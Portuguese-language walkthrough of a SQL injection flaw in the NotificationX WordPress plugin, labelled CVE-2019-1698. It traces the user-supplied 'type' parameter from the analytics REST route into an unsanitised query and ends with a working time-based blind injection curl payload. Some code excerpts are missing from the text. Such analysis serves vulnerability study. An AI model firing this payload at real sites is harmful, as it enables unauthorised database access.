
Análise técnica passo a passo do CVE-2019-1698, uma vulnerabilidade de injeção SQL em plugin WordPress, com revisão de diff de código, identificação de função vulnerável e demonstração de exploração usando curl.
Code reference 1: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Rest/Analytics.php

Code reference 2: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Database.php

Portanto, o seguinte arquivo é relevante para este CVE:
wp-content/plugins/notificationx/includes/Core/Rest/Analytics.php
Agora, vamos verificar se o arquivo pode conter código vulnerável:
Foco na função insert_analytics():
Ela recebe o (vindo do usuário) e extrai o parâmetro .
$requesttypeEntão, esse valor é passado para a função CoreAnalytics::get_instance()->insert_analytics():

Para acionar este código, podemos notar a rota mapeada (da classe Analytics, dentro da função register_routes()):
$this->namespace . '/' . $this->rest_base
E o construtor da classe Analytics revela os valores para as variáveis namespace e rest_base:
public function __construct() {
$this->namespace = 'notificationx/v1';
$this->rest_base = 'analytics';
add_action('rest_api_init', [$this, 'register_routes']);
}
Assim, o código relevante (vulnerável) que aceita o parâmetro type fornecido pelo usuário pode ser acessado através da seguinte rota:
notificationx/v1/analytics
Mas qual é o método para explorar e onde está a consulta SQL para injeção?
Já que o parâmetro type fornecido pelo usuário é passado para:
CoreAnalytics::get_instance()->insert_analytics( absint( $params['nx_id'] ), $type );
Localizando esta função:
Vamos verificar o código desta função no arquivo destacado:
wp-content/plugins/notificationx/includes/Core/Analytics.php:

Se você está pensando que a vulnerabilidade está na função increment_count(), então você está absolutamente no caminho certo!
Aqui está a função increment_count (e ela recebe o parâmetro $type vindo do usuário):

Esta função, por sua vez, chama a função update_analytics(). Vamos localizá-la:


A função update_analytics cria uma consulta SQL dinamicamente e a entrada do usuário não sanitizada faz parte dela. Cheira suspeito? Deveria, porque é isso que causa a vulnerabilidade.
O parâmetro $col corresponde ao parâmetro type enviado pelo usuário, na requisição HTTP.
O $table_name é definido como: nx_stats:
public function __construct() {
global $wpdb;
$this->wpdb = $wpdb;
self::$table_entries = $wpdb->prefix . 'nx_entries';
self::$table_posts = $wpdb->prefix . 'nx_posts';
self::$table_stats = $wpdb->prefix . 'nx_stats';
}
Para identificar o verbo correto, utilizei a API REST do WordPress:
http://localhost/wp-json/

A rota da API /notificationx/v1/analytics pode ser acionada por uma requisição POST e temos que passar o nx_id (um inteiro) e (opcionalmente) o type (uma string).
Lembre-se, que as informações de analytics foram atualizadas na tabela chamada nx_stats, que deduzimos anteriormente usando esses trechos de código de wp-content/plugins/notificationx/includes/Core/Database.php:
public function __construct() {
global $wpdb;
$this->wpdb = $wpdb;
self::$table_entries = $wpdb->prefix . 'nx_entries';
self::$table_posts = $wpdb->prefix . 'nx_posts';
self::$table_stats = $wpdb->prefix . 'nx_stats';
}
$table_name = self::$table_stats;

Nosso plano é ver a consulta SQL construída quando passamos nosso payload na requisição.
E agora, enviaremos nossa requisição curl (com o payload SQLi) novamente:
time curl http://localhost:8080/wp-json/notificationx/v1/analytics -d 'nx_id=1337&type=clicks`=IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)-- -'
